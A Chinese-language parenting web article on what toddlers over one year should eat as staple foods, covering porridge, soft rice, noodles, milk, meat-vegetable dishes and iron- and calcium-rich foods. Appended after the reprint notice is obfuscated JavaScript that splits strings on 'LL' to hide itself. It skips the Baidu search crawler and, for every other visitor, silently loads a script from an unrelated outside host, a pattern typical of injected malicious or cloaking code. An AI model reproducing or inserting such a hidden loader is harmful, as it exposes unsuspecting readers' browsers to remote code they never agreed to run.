當(dāng)前位置:首頁 > 母嬰 > 寶寶飲食 > 正文

寶寶主食有哪些呢

2017-04-07 13:54:29  來源:360常識網(wǎng)   熱度:
導(dǎo)語:我們都知道寶寶處于身體發(fā)育的階段,他們對于營養(yǎng)物質(zhì)的需求是比較高的,所以對于寶寶的主食問題,媽媽們是應(yīng)該要引起重視的。一般,寶寶的

我們都知道寶寶處于身體發(fā)育的階段,他們對于營養(yǎng)物質(zhì)的需求是比較高的,所以對于寶寶的主食問題,媽媽們是應(yīng)該要引起重視的。一般,寶寶的主食還是以牛奶以及粥類為主,同時還要為寶寶提供一些蔬菜,盡量讓寶寶多吃一些含有高蛋白質(zhì)的物質(zhì),也要注意飲食均衡的問題。

寶寶1歲多時,乳牙還沒有長齊,因此咀嚼能力還是比較差,消化道的消化功能也較差,雖然可以咀嚼成形的固體食物,依舊還要吃些細、軟、爛的食物。根據(jù)寶寶用牙齒咀嚼固體食物的程度,為寶寶安排每日的飲食,此時寶寶可從規(guī)律的一日三餐中獲取均衡的營養(yǎng)。因此,牛奶或奶粉可以逐漸減少量,每日300~400毫升就可以了。

寶寶1歲以后,總體的營養(yǎng)需求量要高于嬰兒期。如果輔食添加不合理,很容易造成寶寶營養(yǎng)不良,通常表現(xiàn)為食欲欠佳、抵抗力弱、運動發(fā)育落后、骨骼畸形等癥狀。因此,在寶寶成長過程中要注意觀察。如果寶寶雖出現(xiàn)消瘦,但體重呈持續(xù)增加狀態(tài),飲食量雖減少,但大便依然規(guī)律,精力旺盛,無皮膚顏色蒼白,頭發(fā)稀少而黃,骨骼畸形等情況,都說明寶寶處于正常的發(fā)育狀態(tài)。

幼兒主食常用米粥、軟飯、掛面、面包、饅頭、包子、餃子、餛飩以及牛乳、豆?jié){等。幼兒大多喜食面食,米、面、麥片、小米、玉米、薯類輪流交替更為合適。輔食以菜、肉搭配為佳,如以菜肉末做肉丸、嫩菜葉炒肉丁或蝦仁、清蒸魚片、肉末蒸蛋等,易被幼兒嚼碎吞咽。菜、肉、蛋混合做煨飯、煨面也為幼兒所喜愛。

此外還應(yīng)多采用豆腐、干絲、百葉、油豆腐、素雞等豆制品和雞鴨血及蝦皮、紫菜、海帶等富含鐵、鋅、鈣的海產(chǎn)品。點心則可選擇藕粉、紅棗、赤豆粥或餅干、蛋糕、面包、菜肉包子及糕點配豆?jié){或牛乳。飯后可進食一種時鮮水果??傮w上應(yīng)注意葷素平衡、干濕搭配、米面粗細糧搭配。

對于文章介紹的寶寶主食有哪些的分析,希望媽媽們應(yīng)該要記住文章介紹的主食類型,這樣對于寶寶的健康成長是有很大幫助的。寶寶在生活中是應(yīng)該要多吃一些富含蛋白質(zhì)的食物,所以寶寶可以適當(dāng)?shù)娘嬘靡恍┡D谈姘惖闹魇场?/p>

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}